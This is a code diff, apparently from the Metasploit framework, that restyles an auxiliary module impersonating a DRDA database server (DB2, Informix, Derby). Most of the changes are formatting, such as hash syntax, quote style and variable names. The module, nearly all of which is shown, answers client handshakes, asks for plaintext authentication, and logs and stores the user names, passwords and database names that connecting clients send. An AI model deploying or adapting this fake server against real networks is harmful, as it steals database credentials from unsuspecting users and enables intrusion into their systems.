@@ -10,42 +10,48 @@ class MetasploitModule < Msf::Auxiliary
1010 include Msf ::Auxiliary ::Report
1111
1212 class Constants
13- CODEPOINT_ACCSEC = 0x106d
14- CODEPOINT_SECCHK = 0x106e
15- CODEPOINT_SRVCLSNM = 0x1147
16- CODEPOINT_SRVCOD = 0x1149
17- CODEPOINT_SRVRLSLV = 0x115a
18- CODEPOINT_EXTNAM = 0x115e
19- CODEPOINT_SRVNAM = 0x116d
20- CODEPOINT_USERID = 0x11a0
21- CODEPOINT_PASSWORD = 0x11a1
22- CODEPOINT_SECMEC = 0x11a2
23- CODEPOINT_SECCHKCD = 0x11a4
24- CODEPOINT_SECCHKRM = 0x1219
25- CODEPOINT_MGRLVLLS = 0x1404
26- CODEPOINT_EXCSATRD = 0x1443
27- CODEPOINT_ACCSECRD = 0x14ac
28- CODEPOINT_RDBNAM = 0x2110
13+ CODEPOINT_ACCSEC = 0x106d
14+ CODEPOINT_SECCHK = 0x106e
15+ CODEPOINT_SRVCLSNM = 0x1147
16+ CODEPOINT_SRVCOD = 0x1149
17+ CODEPOINT_SRVRLSLV = 0x115a
18+ CODEPOINT_EXTNAM = 0x115e
19+ CODEPOINT_SRVNAM = 0x116d
20+ CODEPOINT_USERID = 0x11a0
21+ CODEPOINT_PASSWORD = 0x11a1
22+ CODEPOINT_SECMEC = 0x11a2
23+ CODEPOINT_SECCHKCD = 0x11a4
24+ CODEPOINT_SECCHKRM = 0x1219
25+ CODEPOINT_MGRLVLLS = 0x1404
26+ CODEPOINT_EXCSATRD = 0x1443
27+ CODEPOINT_ACCSECRD = 0x14ac
28+ CODEPOINT_RDBNAM = 0x2110
2929 end
3030
3131 def initialize
3232 super (
33- 'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)' ,
34- 'Description' => %q{
33+ 'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)' ,
34+ 'Description' => %q{
3535 This module provides a fake DRDA (DB2, Informix, Derby) server
3636 that is designed to capture authentication credentials.
3737 } ,
38- 'Author' => 'Patrik Karlsson <patrik[at]cqure.net>' ,
39- 'License' => MSF_LICENSE ,
40- 'Actions' => [ [ 'Capture' , 'Description' => 'Run DRDA capture server' ] ] ,
38+ 'Author' => 'Patrik Karlsson <patrik[at]cqure.net>' ,
39+ 'License' => MSF_LICENSE ,
40+ 'Actions' => [ [ 'Capture' , { 'Description' => 'Run DRDA capture server' } ] ] ,
4141 'PassiveActions' => [ 'Capture' ] ,
42- 'DefaultAction' => 'Capture'
42+ 'DefaultAction' => 'Capture' ,
43+ 'Notes' => {
44+ 'Stability' => [ CRASH_SAFE ] ,
45+ 'SideEffects' => [ ] ,
46+ 'Reliability' => [ ]
47+ }
4348 )
4449
4550 register_options (
4651 [
47- OptPort . new ( 'SRVPORT' , [ true , "The local port to listen on." , 50000 ] )
48- ] )
52+ OptPort . new ( 'SRVPORT' , [ true , 'The local port to listen on.' , 50000 ] )
53+ ]
54+ )
4955 end
5056
5157 def setup
@@ -54,87 +60,87 @@ def setup
5460 end
5561
5662 def run
57- exploit ( )
63+ exploit
5864 end
5965
60- def on_client_connect ( c )
61- @state [ c ] = {
62- : name => "#{ c . peerhost } :#{ c . peerport } " ,
63- :ip => c . peerhost ,
64- : port => c . peerport ,
65- : user => nil ,
66- : pass => nil ,
67- : database => nil
66+ def on_client_connect ( client )
67+ @state [ client ] = {
68+ name : "#{ client . peerhost } :#{ client . peerport } " ,
69+ ip : client . peerhost ,
70+ port : client . peerport ,
71+ user : nil ,
72+ pass : nil ,
73+ database : nil
6874 }
6975 end
7076
7177 # translates EBDIC to ASCII
7278 def drda_ascii_to_ebdic ( str )
7379 a2e = [
74- " 00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F" +
75- " 405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F" +
76- " 7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D" +
77- " 79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107" +
78- " 202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1" +
79- " 4142434445464748495152535455565758596263646566676869707172737475" +
80- " 767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7" +
81- " B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF"
82- ] . pack ( "H*" )
83- str . unpack ( 'C*' ) . map { |c | a2e [ c ] } . pack ( "A" * str . length )
80+ ' 00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F' \
81+ ' 405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F' \
82+ ' 7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D' \
83+ ' 79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107' \
84+ ' 202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1' \
85+ ' 4142434445464748495152535455565758596263646566676869707172737475' \
86+ ' 767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7' \
87+ ' B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF'
88+ ] . pack ( 'H*' )
89+ str . unpack ( 'C*' ) . map { |c | a2e [ c ] } . pack ( 'A' * str . length )
8490 end
8591
8692 # translates ASCII to EBDIC
8793 def drda_ebdic_to_ascii ( str )
8894 e2a = [
89- " 000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F" +
90- " 80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A" +
91- " 20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E" +
92- " 2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22" +
93- " C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0" +
94- " D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7" +
95- " 7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3" +
96- " 5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF"
97- ] . pack ( "H*" )
98- str . unpack ( 'C*' ) . map { |c | e2a [ c ] } . pack ( "A" * str . length )
95+ ' 000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F' \
96+ ' 80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A' \
97+ ' 20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E' \
98+ ' 2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22' \
99+ ' C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0' \
100+ ' D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7' \
101+ ' 7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3' \
102+ ' 5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF'
103+ ] . pack ( 'H*' )
104+ str . unpack ( 'C*' ) . map { |c | e2a [ c ] } . pack ( 'A' * str . length )
99105 end
100106
101107 # parses and returns a DRDA parameter
102108 def drda_parse_parameter ( data )
103109 param = {
104- : length => data . slice! ( 0 , 2 ) . unpack ( "n" ) [ 0 ] ,
105- : codepoint => data . slice! ( 0 , 2 ) . unpack ( "n" ) [ 0 ] ,
106- : data => ""
110+ length : data . slice! ( 0 , 2 ) . unpack ( 'n' ) [ 0 ] ,
111+ codepoint : data . slice! ( 0 , 2 ) . unpack ( 'n' ) [ 0 ] ,
112+ data : ''
107113 }
108- param [ :data ] = drda_ebdic_to_ascii ( data . slice! ( 0 , param [ :length ] - 4 ) . unpack ( "A*" ) [ 0 ] )
114+ param [ :data ] = drda_ebdic_to_ascii ( data . slice! ( 0 , param [ :length ] - 4 ) . unpack ( 'A*' ) [ 0 ] )
109115 param
110116 end
111117
112118 # creates a DRDA parameter
113119 def drda_create_parameter ( codepoint , data )
114120 param = {
115- : codepoint => codepoint ,
116- : data => drda_ascii_to_ebdic ( data ) ,
117- : length => data . length + 4
121+ codepoint : codepoint ,
122+ data : drda_ascii_to_ebdic ( data ) ,
123+ length : data . length + 4
118124 }
119125 param
120126 end
121127
122128 # creates a DRDA CMD with parameters and returns it as an opaque string
123- def drda_create_cmd ( codepoint , options = { : format => 0x43 , : correlid => 0x01 } , params = [ ] )
124- data = ""
129+ def drda_create_cmd ( codepoint , options = { format : 0x43 , correlid : 0x01 } , params = [ ] )
130+ data = ''
125131 for p in params . each
126- data << [ p [ :length ] ] . pack ( "n" )
127- data << [ p [ :codepoint ] ] . pack ( "n" )
128- data << [ p [ :data ] ] . pack ( "A*" )
132+ data << [ p [ :length ] ] . pack ( 'n' )
133+ data << [ p [ :codepoint ] ] . pack ( 'n' )
134+ data << [ p [ :data ] ] . pack ( 'A*' )
129135 end
130136
131- hdr = ""
132- hdr << [ data . length + 10 ] . pack ( "n" )
133- hdr << [ 0xd0 ] . pack ( "C" ) # magic
134- hdr << [ options [ :format ] ] . pack ( "C" ) # format
135- hdr << [ options [ :correlid ] ] . pack ( "n" ) # corellid
136- hdr << [ data . length + 4 ] . pack ( "n" ) # length2
137- hdr << [ codepoint ] . pack ( "n" )
137+ hdr = ''
138+ hdr << [ data . length + 10 ] . pack ( 'n' )
139+ hdr << [ 0xd0 ] . pack ( 'C' ) # magic
140+ hdr << [ options [ :format ] ] . pack ( 'C' ) # format
141+ hdr << [ options [ :correlid ] ] . pack ( 'n' ) # corellid
142+ hdr << [ data . length + 4 ] . pack ( 'n' ) # length2
143+ hdr << [ codepoint ] . pack ( 'n' )
138144
139145 data = hdr + data
140146 data
@@ -146,79 +152,77 @@ def drda_parse_response(data)
146152
147153 until data . empty?
148154 cp = {
149- : length => data . slice! ( 0 , 2 ) . unpack ( "n" ) [ 0 ] ,
150- : magic => data . slice! ( 0 , 1 ) . unpack ( "C" ) [ 0 ] ,
151- : format => data . slice! ( 0 , 1 ) . unpack ( "C" ) [ 0 ] ,
152- : corellid => data . slice! ( 0 , 2 ) . unpack ( "n" ) [ 0 ] ,
153- : length2 => data . slice! ( 0 , 2 ) . unpack ( "n" ) [ 0 ] ,
154- : codepoint => data . slice! ( 0 , 2 ) . unpack ( "n" ) [ 0 ] ,
155- : params => [ ]
155+ length : data . slice! ( 0 , 2 ) . unpack ( 'n' ) [ 0 ] ,
156+ magic : data . slice! ( 0 , 1 ) . unpack ( 'C' ) [ 0 ] ,
157+ format : data . slice! ( 0 , 1 ) . unpack ( 'C' ) [ 0 ] ,
158+ corellid : data . slice! ( 0 , 2 ) . unpack ( 'n' ) [ 0 ] ,
159+ length2 : data . slice! ( 0 , 2 ) . unpack ( 'n' ) [ 0 ] ,
160+ codepoint : data . slice! ( 0 , 2 ) . unpack ( 'n' ) [ 0 ] ,
161+ params : [ ]
156162 }
157163 cpdata = data . slice! ( 0 , cp [ :length ] - 10 )
158- until cpdata . empty?
159- cp [ :params ] << drda_parse_parameter ( cpdata )
160- end
164+ cp [ :params ] << drda_parse_parameter ( cpdata ) until cpdata . empty?
161165 result << cp
162166 end
163167 result
164168 end
165169
166170 # sends of a DRDA command
167- def drda_send_cmd ( c , cmd )
168- data = ""
169- cmd . each { |d | data << d }
170- c . put data
171+ def drda_send_cmd ( client , cmd )
172+ data = ''
173+ cmd . each { |d | data << d }
174+ client . put data
171175 end
172176
173- def on_client_data ( c )
174- data = c . get_once
177+ def on_client_data ( client )
178+ data = client . get_once
175179
176- return if not data
180+ return if ! data
177181
178182 for cmd in drda_parse_response ( data ) . each
179183 case cmd [ :codepoint ]
180184 when Constants ::CODEPOINT_ACCSEC
181185 params = [ ]
182- params << drda_create_parameter ( Constants ::CODEPOINT_EXTNAM , " DB2 db2sysc 05D80B00%FED%Y00" )
183- params << drda_create_parameter ( Constants ::CODEPOINT_MGRLVLLS , [ " 9d03008e847f008e1c970000840f00979d20008d9dbe0097" ] . pack ( "H*" ) )
184- params << drda_create_parameter ( Constants ::CODEPOINT_SRVCLSNM , " QDB2/NT64" )
185- params << drda_create_parameter ( Constants ::CODEPOINT_SRVNAM , " DB2" )
186- params << drda_create_parameter ( Constants ::CODEPOINT_SRVRLSLV , " SQL10010" )
186+ params << drda_create_parameter ( Constants ::CODEPOINT_EXTNAM , ' DB2 db2sysc 05D80B00%FED%Y00' )
187+ params << drda_create_parameter ( Constants ::CODEPOINT_MGRLVLLS , [ ' 9d03008e847f008e1c970000840f00979d20008d9dbe0097' ] . pack ( 'H*' ) )
188+ params << drda_create_parameter ( Constants ::CODEPOINT_SRVCLSNM , ' QDB2/NT64' )
189+ params << drda_create_parameter ( Constants ::CODEPOINT_SRVNAM , ' DB2' )
190+ params << drda_create_parameter ( Constants ::CODEPOINT_SRVRLSLV , ' SQL10010' )
187191
188192 cmd = [ ]
189- cmd << drda_create_cmd ( Constants ::CODEPOINT_EXCSATRD , { : format => 0x43 , : correlid => 1 } , params )
193+ cmd << drda_create_cmd ( Constants ::CODEPOINT_EXCSATRD , { format : 0x43 , correlid : 1 } , params )
190194
191195 params = [ ]
192196 params << drda_create_parameter ( Constants ::CODEPOINT_SECMEC , "\x00 \x03 " )
193- cmd << drda_create_cmd ( Constants ::CODEPOINT_ACCSECRD , { : format => 3 , : correlid => 2 } , params )
197+ cmd << drda_create_cmd ( Constants ::CODEPOINT_ACCSECRD , { format : 3 , correlid : 2 } , params )
194198
195- drda_send_cmd ( c , cmd )
199+ drda_send_cmd ( client , cmd )
196200
197201 when Constants ::CODEPOINT_SECCHK
198202 for p in cmd [ :params ] . each
199203 case p [ :codepoint ]
200204 when Constants ::CODEPOINT_USERID
201- @state [ c ] [ :user ] = p [ :data ] . rstrip
205+ @state [ client ] [ :user ] = p [ :data ] . rstrip
202206 when Constants ::CODEPOINT_PASSWORD
203- @state [ c ] [ :pass ] = p [ :data ] . rstrip
207+ @state [ client ] [ :pass ] = p [ :data ] . rstrip
204208 when Constants ::CODEPOINT_RDBNAM
205- @state [ c ] [ :database ] = p [ :data ] . rstrip
209+ @state [ client ] [ :database ] = p [ :data ] . rstrip
206210 end
207211 end
208- else
209- # print_status("unhandled codepoint: #{cmd[:codepoint]}")
210- # do nothing
212+ # else
213+ # print_status("unhandled codepoint: #{cmd[:codepoint]}")
214+ # ignore unhandled codepoints
211215 end
212216 end
213217
214- if @state [ c ] [ :user ] and @state [ c ] [ :pass ]
215- print_good ( "DRDA LOGIN #{ @state [ c ] [ :name ] } Database: #{ @state [ c ] [ :database ] } ; #{ @state [ c ] [ :user ] } / #{ @state [ c ] [ :pass ] } " )
218+ if @state [ client ] [ :user ] && @state [ client ] [ :pass ]
219+ print_good ( "DRDA LOGIN #{ @state [ client ] [ :name ] } Database: #{ @state [ client ] [ :database ] } ; #{ @state [ client ] [ :user ] } / #{ @state [ client ] [ :pass ] } " )
216220 report_cred (
217- ip : @state [ c ] [ :ip ] ,
221+ ip : @state [ client ] [ :ip ] ,
218222 port : datastore [ 'SRVPORT' ] ,
219223 service_name : 'db2_client' ,
220- user : @state [ c ] [ :user ] ,
221- password : @state [ c ] [ :pass ] ,
224+ user : @state [ client ] [ :user ] ,
225+ password : @state [ client ] [ :pass ] ,
222226 proof : @state . inspect
223227 )
224228
@@ -227,10 +231,10 @@ def on_client_data(c)
227231 params << drda_create_parameter ( Constants ::CODEPOINT_SECCHKCD , "\x0f " )
228232
229233 cmd = [ ]
230- cmd << drda_create_cmd ( Constants ::CODEPOINT_SECCHKRM , { : format => 2 , : correlid => 1 } , params )
234+ cmd << drda_create_cmd ( Constants ::CODEPOINT_SECCHKRM , { format : 2 , correlid : 1 } , params )
231235
232- drda_send_cmd ( c , cmd )
233- #c .close
236+ drda_send_cmd ( client , cmd )
237+ # client .close
234238 end
235239 end
236240
@@ -260,7 +264,7 @@ def report_cred(opts)
260264 create_credential_login ( login_data )
261265 end
262266
263- def on_client_close ( c )
264- @state . delete ( c )
267+ def on_client_close ( client )
268+ @state . delete ( client )
265269 end
266270end
0 commit comments